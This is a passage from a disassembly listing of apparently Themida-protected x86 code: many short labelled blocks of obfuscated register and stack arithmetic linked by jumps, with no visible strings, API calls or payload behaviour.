		mov	[esp], ecx
		push	24h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1D17744Eh
		sub	ecx, 36090BAEh
		add	ecx, edi
		add	ecx, 36090BAEh
		jmp	loc_553AE8
; ---------------------------------------------------------------------------


loc_556937:				; CODE XREF: Themida_:00564499j
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556940:				; CODE XREF: Themida_:005642FCj
		push	26907E6Bh
		jmp	loc_5616F9
; ---------------------------------------------------------------------------


loc_55694A:				; CODE XREF: Themida_:005567BCj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		imul	cx
		push	434Bh
		jmp	loc_55735B
; ---------------------------------------------------------------------------


loc_55695E:				; CODE XREF: Themida_:00558D9Bj
		mov	eax, 496B25BFh
		jmp	loc_557FD2
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_554344
; ---------------------------------------------------------------------------


loc_55696F:				; CODE XREF: Themida_:00554AB4j
		push	ecx
		jmp	loc_554CAB
; ---------------------------------------------------------------------------


loc_556975:				; CODE XREF: Themida_:005614C8j
		push	ebp
		mov	ebp, 0
		sub	ebp, ebx
		push	ebp
		add	dword ptr [esp], 32EF4B87h
		pop	ebx
		sub	ebx, 32EF4B87h
		pop	ebp
		push	edx
		mov	edx, 600379CCh
		jmp	loc_565379
; ---------------------------------------------------------------------------


loc_556998:				; CODE XREF: Themida_:005655A9j
		add	edi, 4
		jmp	loc_554332
; ---------------------------------------------------------------------------


loc_5569A3:				; CODE XREF: Themida_:00562B23j
		sub	al, bl
		add	al, 7Dh
		jmp	loc_564A1F
; ---------------------------------------------------------------------------


loc_5569AC:				; CODE XREF: Themida_:00563B39j
		add	eax, 31110B20h
		sub	eax, ebp
		sub	eax, 31110B20h
		sub	eax, 7F8D4AD6h
		pop	ebp
		add	eax, 17197C37h
		add	eax, esi
		sub	eax, 17197C37h
		add	eax, 24FD400Dh
		mov	esi, [esp]
		jmp	loc_55AB14
; ---------------------------------------------------------------------------


loc_5569D7:				; CODE XREF: Themida_:005588D4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A245
; ---------------------------------------------------------------------------


loc_5569E2:				; CODE XREF: Themida_:0055D280j
		add	eax, 4
		jmp	loc_55A4A4
; ---------------------------------------------------------------------------


loc_5569EA:				; CODE XREF: Themida_:0055846Aj
		push	0
		sub	dword ptr [esp], 5FB12F9Ch
		sub	[esp], esi
		jmp	loc_55CF8F
; ---------------------------------------------------------------------------


loc_5569FE:				; CODE XREF: Themida_:005637F5j
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0A5Dh
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_563870
; ---------------------------------------------------------------------------


loc_556A1F:				; CODE XREF: Themida_:0055A4DCj
		pop	bx
		jmp	loc_559EF5
; ---------------------------------------------------------------------------


loc_556A26:				; CODE XREF: Themida_:005585B8j
		push	29C72292h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 58FC3E12h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 7AAB46D3h
		push	esi
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		mov	eax, esi
		pop	esi
		pop	ecx
		not	eax
		add	eax, 5F7E6CF3h
		neg	eax
		xor	eax, 678241EFh
		sub	esi, eax
		jmp	loc_56511C
; ---------------------------------------------------------------------------


loc_556A60:				; CODE XREF: Themida_:0055AF12j
		push	ecx
		push	esi
		mov	esi, 0B32356Ch
		mov	ecx, 52864FE5h
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553360
; ---------------------------------------------------------------------------


loc_556A79:				; CODE XREF: Themida_:005526BAj
		xor	ebp, [esp]
		jmp	loc_55BD3B
; ---------------------------------------------------------------------------


loc_556A81:				; CODE XREF: Themida_:00558268j
		mov	ecx, 5AAD11C9h
		jmp	loc_55E054
; ---------------------------------------------------------------------------


loc_556A8B:				; CODE XREF: Themida_:005572A5j
		add	edi, eax
		push	edx
		mov	edx, 57F874CDh
		jmp	loc_553A9A
; ---------------------------------------------------------------------------


loc_556A98:				; CODE XREF: Themida_:00559CEFj
		pop	edx
		add	eax, edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_565992
; ---------------------------------------------------------------------------


loc_556AB6:				; CODE XREF: Themida_:00565117j
		push	ebx
		mov	ebx, 61771512h
		sub	ebx, 10BE5783h
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		jmp	loc_560E84
; ---------------------------------------------------------------------------


loc_556ACB:				; CODE XREF: Themida_:0055497Ej
		add	ebp, 48B44A75h
		sub	ebp, edx
		sub	ebp, 48B44A75h
		jmp	loc_564520
; ---------------------------------------------------------------------------


loc_556ADE:				; CODE XREF: Themida_:0055E8D8j
		add	edi, 3E3A4A94h
		shl	edi, 2
		add	edi, 0A1867434h
		add	ebp, edi
		jmp	loc_5532C5
; ---------------------------------------------------------------------------


loc_556AF4:				; CODE XREF: Themida_:00562005j
		add	[esp+4], edx
		pop	edx
		jmp	loc_563E2E
; ---------------------------------------------------------------------------


loc_556AFE:				; CODE XREF: Themida_:00557284j
		add	esp, 4
		push	esi
		mov	esi, 59AB3E48h
		add	esi, 589D61EFh
		xor	esi, 0B248A033h
		add	ecx, esi
		jmp	loc_562483
; ---------------------------------------------------------------------------


loc_556B1A:				; CODE XREF: Themida_:00561AE0j
		xor	edx, 1A4597E0h
		mov	eax, edx
		jmp	loc_552228
; ---------------------------------------------------------------------------


loc_556B27:				; CODE XREF: Themida_:0055131Cj
		sub	al, bl
		push	edi
		push	esp
		pop	edi
		jmp	loc_5567DC
; ---------------------------------------------------------------------------


loc_556B31:				; CODE XREF: Themida_:0055A895j
		not	ch
		push	dx
		jmp	loc_5651A0
; ---------------------------------------------------------------------------


loc_556B3A:				; CODE XREF: Themida_:00561954j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_552541
; ---------------------------------------------------------------------------


loc_556B4B:				; CODE XREF: Themida_:0055C8B4j
		pop	ebx
		jmp	loc_55F05D
; ---------------------------------------------------------------------------


loc_556B51:				; CODE XREF: Themida_:00559FAFj
		xor	esi, 3264651Eh
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5641CB
; ---------------------------------------------------------------------------


loc_556B67:				; CODE XREF: Themida_:0055605Ej
		mov	eax, 0
		sub	eax, ecx
		push	eax
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 2D1D1381h
		xor	ecx, edx
		pop	edx
		sub	ecx, 5AC882FEh
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559C89
; ---------------------------------------------------------------------------


loc_556B9A:				; CODE XREF: Themida_:005623D8j
		push	dword ptr [esp]
		jmp	loc_5520EE
; ---------------------------------------------------------------------------


loc_556BA2:				; CODE XREF: Themida_:0055B431j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_55A617
; ---------------------------------------------------------------------------


loc_556BB6:				; CODE XREF: Themida_:005521DFj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556BBB:				; CODE XREF: Themida_:00552FB2j
		mov	al, 72h
		or	al, 0D3h
		jmp	loc_55B4BE
; ---------------------------------------------------------------------------


loc_556BC4:				; CODE XREF: Themida_:00563C51j
		push	154Dh
		jmp	loc_5521F7
; ---------------------------------------------------------------------------


loc_556BCE:				; CODE XREF: Themida_:0055DCB0j
		pop	ebx
		add	eax, esi
		push	ebp
		mov	ebp, 1D22678h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 88344D6h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_553196
; ---------------------------------------------------------------------------


loc_556BF0:				; CODE XREF: Themida_:00557D1Bj
		push	eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55DF9A
; ---------------------------------------------------------------------------


loc_556C00:				; CODE XREF: Themida_:0055147Ej
		mov	[esp], edi
		mov	edi, 124313D3h
		shr	edi, 2
		push	ebx
		mov	ebx, 1BF81107h
		xor	edi, ebx
		pop	ebx
		shr	edi, 2
		inc	edi
		add	edi, 787D410h
		jmp	loc_565598
; ---------------------------------------------------------------------------


loc_556C23:				; CODE XREF: Themida_:0055BBF5j
		push	edx
		mov	edx, 2CE13331h
		mov	edi, edx
		pop	edx
		jmp	loc_555160
; ---------------------------------------------------------------------------


loc_556C31:				; CODE XREF: Themida_:00558A23j
		mov	cl, 3
		push	eax
		jmp	loc_55D063
; ---------------------------------------------------------------------------


loc_556C39:				; CODE XREF: Themida_:0055D08Aj
		pop	ebx
		mov	[edi+28h], cl
		push	dword ptr [esp]
		jmp	loc_55F5CC
; ---------------------------------------------------------------------------


loc_556C45:				; CODE XREF: Themida_:00564D95j
		mov	ebp, esp
		jmp	loc_553336
; ---------------------------------------------------------------------------


loc_556C4C:				; CODE XREF: Themida_:00564F3Ej
		push	ebx
		mov	ebx, esp
		jmp	loc_5570B5
; ---------------------------------------------------------------------------


loc_556C54:				; CODE XREF: Themida_:00561700j
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 7
		xor	ebp, 51ACDAh
		sub	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_554138
; ---------------------------------------------------------------------------


loc_556C6B:				; CODE XREF: Themida_:0055ECF3j
		sub	edi, 1CA1577Ah
		pop	ebx
		add	edi, 4
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		jmp	loc_55624E
; ---------------------------------------------------------------------------


loc_556C85:				; CODE XREF: Themida_:0055BECAj
		mov	[esp], ecx
		mov	ecx, 2B7A7632h
		push	edx
		mov	edx, 47046A27h
		or	edx, 5BF4284Ch
		add	edx, 36384687h
		add	edx, 92128119h
		sub	ecx, edx
		pop	edx
		or	ecx, 7B2B5BB4h
		neg	ecx
		xor	ecx, 0D79DC1E7h
		xor	ebx, ecx
		pop	ecx
		sub	ebx, 525900C5h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_55E0A8
; ---------------------------------------------------------------------------


loc_556CD4:				; CODE XREF: Themida_:005544E9j
		not	ebx
		add	ebx, 61235Fh
		jmp	loc_551FB2
; ---------------------------------------------------------------------------


loc_556CE1:				; CODE XREF: Themida_:0055168Ej
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563BA0
; ---------------------------------------------------------------------------


loc_556CEF:				; CODE XREF: Themida_:005585D3j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556CF4:				; CODE XREF: Themida_:0055E5F9j
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 157E1265h
		push	edx
		push	57AF1352h
		pop	edx
		sub	eax, edx
		pop	edx
		add	eax, 135A510Bh
		push	edx
		jmp	loc_55C6FE
; ---------------------------------------------------------------------------


loc_556D27:				; CODE XREF: Themida_:0055326Ej
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	eax
		mov	eax, 10B07D24h
		mov	esi, eax
		pop	eax
		neg	esi
		shr	esi, 4
		inc	esi
		inc	esi
		add	esi, 0F10B07D5h
		sub	ebx, 5D9A11E6h
		add	ebx, esi
		add	ebx, 5D9A11E6h
		pop	esi
		jmp	loc_56286D
; ---------------------------------------------------------------------------


loc_556D5D:				; CODE XREF: Themida_:00554322j
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 40655A4Eh
		sub	edi, edx
		pop	edx
		add	edi, esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55B0A3
; ---------------------------------------------------------------------------


loc_556D89:				; CODE XREF: Themida_:0055682Dj
		mov	[esp], eax
		jmp	loc_560264
; ---------------------------------------------------------------------------


loc_556D91:				; CODE XREF: Themida_:005531F3j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	dword ptr [esp]
		push	7BABh
		jmp	loc_55FE1E
; ---------------------------------------------------------------------------


loc_556DAC:				; CODE XREF: Themida_:00554087j
		add	ebx, 5BA8043Eh
		add	ebx, esi
		sub	ebx, 5BA8043Eh
		pop	esi
		movzx	ax, byte ptr [eax]
		push	small 2639h
		mov	[esp], ax
		jmp	loc_55309A
; ---------------------------------------------------------------------------


loc_556DCC:				; CODE XREF: Themida_:0055B02Fj
		add	esp, 4
		push	ebx
		jmp	loc_565787
; ---------------------------------------------------------------------------


loc_556DD8:				; CODE XREF: Themida_:00551DBBj
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555852
; ---------------------------------------------------------------------------


loc_556DF4:				; CODE XREF: Themida_:0055E622j
		sub	esi, 0FFFFFFFFh
		and	esi, 2C121309h
		add	esi, 57A95AFFh
		push	eax
		mov	eax, 0D89F87A9h
		add	esi, eax
		pop	eax
		sub	ecx, 1085D4Ah
		add	ecx, esi
		add	ecx, 1085D4Ah
		jmp	loc_559AAE
; ---------------------------------------------------------------------------


loc_556E22:				; CODE XREF: Themida_:0055666Bj
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5563E4
; ---------------------------------------------------------------------------


loc_556E2F:				; CODE XREF: Themida_:005597A7j
		not	eax
		xor	eax, 2AF060FBh
		sub	esi, eax
		jmp	loc_55A820
; ---------------------------------------------------------------------------


loc_556E3D:				; CODE XREF: Themida_:0055A240j
		mov	[esp], edx
		mov	edx, 6554C0Fh
		xor	esi, edx
		pop	edx
		jmp	loc_55287B
; ---------------------------------------------------------------------------


loc_556E4D:				; CODE XREF: Themida_:00553331j
		mov	ecx, esp
		push	ebx
		push	esi
		mov	esi, 1AF43CEFh
		mov	ebx, 0E50BC315h
		add	ebx, esi
		pop	esi
		add	ecx, ebx
		pop	ebx
		jmp	loc_559447
; ---------------------------------------------------------------------------


loc_556E66:				; CODE XREF: Themida_:00559351j
		push	35A2h
		mov	[esp], ebx
		jmp	loc_565168
; ---------------------------------------------------------------------------


loc_556E73:				; CODE XREF: Themida_:0055F26Aj
		pop	ecx
		jmp	loc_558514
; ---------------------------------------------------------------------------


loc_556E79:				; CODE XREF: Themida_:00555BA9j
		push	dword ptr [esp+4]
		jmp	loc_555640
; ---------------------------------------------------------------------------


loc_556E82:				; CODE XREF: Themida_:005588DFj
		add	edx, ebx
		add	edx, 190D3107h
		sub	edx, 41514422h
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 6EE24609h
		jmp	loc_553DAE
; ---------------------------------------------------------------------------


loc_556EB5:				; CODE XREF: Themida_:00550F8Bj
		pop	eax
		jmp	loc_55282B
; ---------------------------------------------------------------------------


loc_556EBB:				; CODE XREF: Themida_:005523ABj
		test	ecx, eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556EC3:				; CODE XREF: Themida_:0055B31Bj
		add	esp, 4
		jmp	loc_555173
; ---------------------------------------------------------------------------


loc_556ECB:				; CODE XREF: Themida_:005571FAj
		push	ecx
		mov	cl, bh
		mov	dh, cl
		pop	ecx
		push	24BBh
		mov	[esp], eax
		mov	al, dh
		mov	ch, al
		pop	eax
		pop	edx
		mov	ebx, [esp]
		jmp	loc_55F8EE
; ---------------------------------------------------------------------------


loc_556EE7:				; CODE XREF: Themida_:0055333Fj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55D8BD
; ---------------------------------------------------------------------------


loc_556EF1:				; CODE XREF: Themida_:0055EFCCj
		add	esp, 4
		add	edx, 32426CC6h
		pop	ebx
		add	ebx, 44717C5Ch
		sub	ebx, 610856B7h
		jmp	loc_554D8E
; ---------------------------------------------------------------------------


loc_556F0C:				; CODE XREF: Themida_:005540C9j
		push	ebx
		push	edx
		mov	edx, 25CF4C0Ah
		and	edx, 380923CBh
		sub	edx, 10D85611h
		add	edx, 96D7AD5h
		jmp	loc_552BC0
; ---------------------------------------------------------------------------


loc_556F2A:				; CODE XREF: Themida_:0055E145j
		sub	ah, 8Ah
		jmp	loc_555580
; ---------------------------------------------------------------------------


loc_556F32:				; CODE XREF: Themida_:00565621j
		push	edx
		sub	esp, 4
		jmp	loc_55F6D1
; ---------------------------------------------------------------------------


loc_556F3B:				; CODE XREF: Themida_:0055C810j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5590C7
; ---------------------------------------------------------------------------


loc_556F4E:				; CODE XREF: Themida_:00555A5Cj
		add	esi, ebx
		jmp	loc_556798
; ---------------------------------------------------------------------------


loc_556F55:				; CODE XREF: Themida_:005594A8j
		push	dword ptr [esp]
		pop	eax
		push	682Bh
		jmp	loc_5656DB
; ---------------------------------------------------------------------------


loc_556F63:				; CODE XREF: Themida_:0055AE2Dj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	small 487Fh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_556F84:				; CODE XREF: Themida_:005654A6j
		sub	edx, ecx
		jmp	loc_55E88F
; ---------------------------------------------------------------------------


loc_556F8B:				; CODE XREF: Themida_:0055BC34j
		sub	eax, ecx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------


loc_556F92:				; CODE XREF: Themida_:00564076j
		push	eax
		push	7D2h
		mov	[esp], edx
		mov	dl, bl
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		mov	ch, ah
		pop	eax
		pop	ebx
		mov	[eax], ch
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_55403F
; ---------------------------------------------------------------------------


loc_556FC1:				; CODE XREF: Themida_:005655FCj
		push	ebx
		mov	bl, 29h
		add	bl, 0A7h
		not	bl
		xor	bl, 90h
		add	dl, bl
		pop	ebx
		push	ecx
		jmp	loc_55F8A5
; ---------------------------------------------------------------------------


loc_556FD5:				; CODE XREF: Themida_:0055CE6Dj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55A23C
; ---------------------------------------------------------------------------


loc_556FE3:				; CODE XREF: Themida_:0055E9F1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_556FF9:				; CODE XREF: Themida_:0055763Fj
		add	ebp, 13FE16B6h
		xor	ebp, 64A15273h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_562948
; ---------------------------------------------------------------------------


loc_557010:				; CODE XREF: Themida_:00560ED4j
		xor	edi, 3CF41596h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_55734B
; ---------------------------------------------------------------------------


loc_557020:				; CODE XREF: Themida_:00561E82j
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_550C0A
; ---------------------------------------------------------------------------


loc_557040:				; CODE XREF: Themida_:00561E71j
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_557048:				; CODE XREF: Themida_:0055ACD7j
		sub	edx, 4EE97163h
		inc	edx
		add	edx, 0BAADCF7Fh
		add	ebp, edx
		pop	edx
		jmp	loc_56112A
; ---------------------------------------------------------------------------


loc_55705D:				; CODE XREF: Themida_:00557B22j
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 51174768h
		jmp	loc_555955
; ---------------------------------------------------------------------------


loc_557079:				; CODE XREF: Themida_:00552C65j
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		add	ebx, 0A9C55EBh
		push	edi
		mov	edi, 0F3040B8h
		and	edi, 2F044E6Ah
		push	ecx
		push	eax
		mov	eax, 133F7715h
		mov	ecx, eax
		pop	eax
		jmp	loc_551BBD
; ---------------------------------------------------------------------------


loc_5570A1:				; CODE XREF: Themida_:005618F0j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		jmp	loc_555400
; ---------------------------------------------------------------------------


loc_5570B5:				; CODE XREF: Themida_:00556C4Fj
		add	ebx, 4
		jmp	loc_55DF5E
; ---------------------------------------------------------------------------


loc_5570C0:				; CODE XREF: Themida_:00553265j
		xor	al, dl
		push	dword ptr [esp]
		jmp	loc_565C04
; ---------------------------------------------------------------------------


loc_5570CA:				; CODE XREF: Themida_:00551EA9j
		sub	edx, 2E787DA9h
		sub	edx, eax
		add	edx, 2E787DA9h
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 72D66A05h
		sub	esp, 4
		jmp	loc_553FE2
; ---------------------------------------------------------------------------


loc_5570EF:				; CODE XREF: Themida_:00562502j
		add	esp, 4
		push	edi
		mov	edi, 0AD83B02h
		and	edi, 6B02BEEh
		shr	edi, 8
		sub	edi, 586B604Fh
		sub	edi, 0A7972FD8h
		add	ebp, edi
		pop	edi
		jmp	loc_563C95
; ---------------------------------------------------------------------------


loc_557118:				; CODE XREF: Themida_:0055FE81j
		and	eax, ebx
		pop	ebx
		add	eax, 12E82338h
		add	ebx, eax
		jmp	loc_5655BC
; ---------------------------------------------------------------------------


loc_557127:				; CODE XREF: Themida_:00551B62j
		sub	eax, 150921EFh
		jmp	loc_55AD89
; ---------------------------------------------------------------------------


loc_557131:				; CODE XREF: Themida_:00555FE6j
		mov	[esp], edi
		mov	edi, 4F446483h
		jmp	loc_55FB17
; ---------------------------------------------------------------------------


loc_55713E:				; CODE XREF: Themida_:0055AE60j
		pop	esi
		and	ecx, edi
		pop	edi
		shr	ecx, 6
		push	61FBh
		jmp	loc_5606A7
; ---------------------------------------------------------------------------


loc_55714F:				; CODE XREF: Themida_:005615BAj
		sub	esi, ebp
		pop	ebp
		neg	esi
		xor	esi, 0D2AA8F6Bh
		add	ecx, esi
		jmp	loc_554A41
; ---------------------------------------------------------------------------


loc_557161:				; CODE XREF: Themida_:0055FEFDj
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_559F55
; ---------------------------------------------------------------------------


loc_55716F:				; CODE XREF: Themida_:0055D484j
		pop	ebp
		and	ebp, 3EB51B5Ah
		sub	ebp, 26A027BEh
		sub	ebp, 0C303541Eh
		jmp	loc_5616A5
; ---------------------------------------------------------------------------


loc_557187:				; CODE XREF: Themida_:00551EFDj
		pop	esp
		mov	[esp], edx
		jmp	loc_565BAF
; ---------------------------------------------------------------------------


loc_557190:				; CODE XREF: Themida_:00551F28j
		mov	cl, 0DFh
		add	al, cl
		jmp	loc_55E759
; ---------------------------------------------------------------------------


loc_557199:				; CODE XREF: Themida_:00564999j
		pop	edi
		push	esi
		push	edi
		jmp	loc_551B78
; ---------------------------------------------------------------------------


loc_5571A1:				; CODE XREF: Themida_:00561207j
		xor	ebx, 14E1F8B4h
		not	ebx
		push	73D8h
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		xor	ebx, 0D201A7F4h
		sub	ecx, 1CE22866h
		add	ecx, ebx
		add	ecx, 1CE22866h
		jmp	loc_552B44
; ---------------------------------------------------------------------------


loc_5571D2:				; CODE XREF: Themida_:0056351Aj
		add	byte ptr [esp],	0BDh
		mov	dl, [esp]
		add	esp, 4
		jmp	loc_553262
; ---------------------------------------------------------------------------


loc_5571E1:				; CODE XREF: Themida_:0056506Bj
		push	1D9Ah
		mov	[esp], eax
		push	edx
		mov	dl, bh
		push	ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		jmp	loc_552BB7
; ---------------------------------------------------------------------------


loc_5571F7:				; CODE XREF: Themida_:0055C958j
		mov	[esp], edx
		jmp	loc_556ECB
; ---------------------------------------------------------------------------


loc_5571FF:				; CODE XREF: Themida_:0055778Bj
		not	edx
		inc	edx
		jmp	loc_557740
; ---------------------------------------------------------------------------


loc_557207:				; CODE XREF: Themida_:0055739Bj
		push	edx
		mov	edx, 66F25036h
		jmp	loc_565AF4
; ---------------------------------------------------------------------------


loc_557212:				; CODE XREF: Themida_:005611DAj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	62594773h
		pop	ebx
		jmp	loc_556078
; ---------------------------------------------------------------------------


loc_557227:				; CODE XREF: Themida_:0055BF6Fj
		add	edx, 655E2478h
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7887h
		jmp	loc_5647D2
; ---------------------------------------------------------------------------


loc_557242:				; CODE XREF: Themida_:00559258j
		pop	edx
		push	ebx
		push	edi
		mov	edi, 773528C6h
		mov	ebx, 0BD352921h
		add	ebx, edi
		jmp	loc_55EF1E
; ---------------------------------------------------------------------------


loc_557256:				; CODE XREF: Themida_:00557333j
		pop	ecx
		jmp	loc_560B91
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		push	1CD5h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_556AFE
; ---------------------------------------------------------------------------


loc_557289:				; CODE XREF: Themida_:00563F3Cj
		add	esp, 4
		add	ecx, 90A3277h
		jmp	loc_555836
; ---------------------------------------------------------------------------


loc_55729A:				; CODE XREF: Themida_:00554258j
		mov	eax, 4
		sub	edi, 7DD744E2h
		jmp	loc_556A8B
; ---------------------------------------------------------------------------


loc_5572AA:				; CODE XREF: Themida_:00559EF0j
		add	edi, eax
		add	edi, 759128F9h
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], di
		push	small word ptr [esp+2]
		pop	di
		pop	small word ptr [esp]
		jmp	loc_55ACDC
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_563DBA
; ---------------------------------------------------------------------------


loc_5572E0:				; CODE XREF: Themida_:00555263j
		add	ecx, 4
		jmp	loc_55ADD1
; ---------------------------------------------------------------------------


loc_5572EB:				; CODE XREF: Themida_:0055E807j
		pop	ebx
		sub	esi, 0E93BF5EFh
		add	eax, 5E8F7E87h
		push	edx
		mov	edx, 150921EFh
		add	eax, edx
		jmp	loc_551B5A
; ---------------------------------------------------------------------------


loc_557304:				; CODE XREF: Themida_:005556D9j
		add	[esp+4], ebx
		add	dword ptr [esp+4], 11F5200Ah
		jmp	loc_56171C
; ---------------------------------------------------------------------------


loc_557315:				; CODE XREF: Themida_:005581D6j
		xor	edi, [esp]
		jmp	loc_565C53
; ---------------------------------------------------------------------------


loc_55731D:				; CODE XREF: Themida_:00554C5Dj
		xor	esi, [esp]
		jmp	loc_55FFCD
; ---------------------------------------------------------------------------


loc_557325:				; CODE XREF: Themida_:0055241Dj
		add	esp, 4
		push	eax
		mov	ah, 0C5h
		sub	cl, ah
		pop	eax
		mov	bl, cl
		push	dword ptr [esp]
		jmp	loc_557256
; ---------------------------------------------------------------------------


loc_557338:				; CODE XREF: Themida_:005553E3j
		pop	eax
		xor	dl, 0BAh
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		add	al, 9Dh
		jmp	loc_5541F1
; ---------------------------------------------------------------------------


loc_55734B:				; CODE XREF: Themida_:0055701Bj
		add	esp, 4
		sub	eax, 0A21AD6h
		jmp	loc_5518E4
; ---------------------------------------------------------------------------


loc_55735B:				; CODE XREF: Themida_:00556959j
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, 295F2334h
		xor	eax, 0E5E1F85h
		mov	edx, eax
		jmp	loc_55D541
; ---------------------------------------------------------------------------


loc_557373:				; CODE XREF: Themida_:0055EA14j
		pop	edi
		sub	eax, 25105983h
		sub	eax, 57C831FEh
		sub	eax, ebp
		add	eax, 57C831FEh
		push	edx
		mov	edx, 25105983h
		add	eax, edx
		pop	edx
		add	eax, 76D83573h
		pop	ebp
		push	ecx
		push	ebx
		mov	ebx, 62BD131Fh
		jmp	loc_557207
; ---------------------------------------------------------------------------


loc_5573A0:				; CODE XREF: Themida_:0055A497j
		sub	eax, 0DD85427h
		jmp	loc_56051A
; ---------------------------------------------------------------------------


loc_5573AA:				; CODE XREF: Themida_:0055971Fj
		add	esi, 4
		jmp	loc_553138
; ---------------------------------------------------------------------------


loc_5573B5:				; CODE XREF: Themida_:00561856j
		add	ebx, ecx
		add	ebx, 4E7E18C0h
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_551B49
; ---------------------------------------------------------------------------


loc_5573D2:				; CODE XREF: Themida_:0055FEA8j
		mov	edx, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		jmp	loc_55E122
; ---------------------------------------------------------------------------


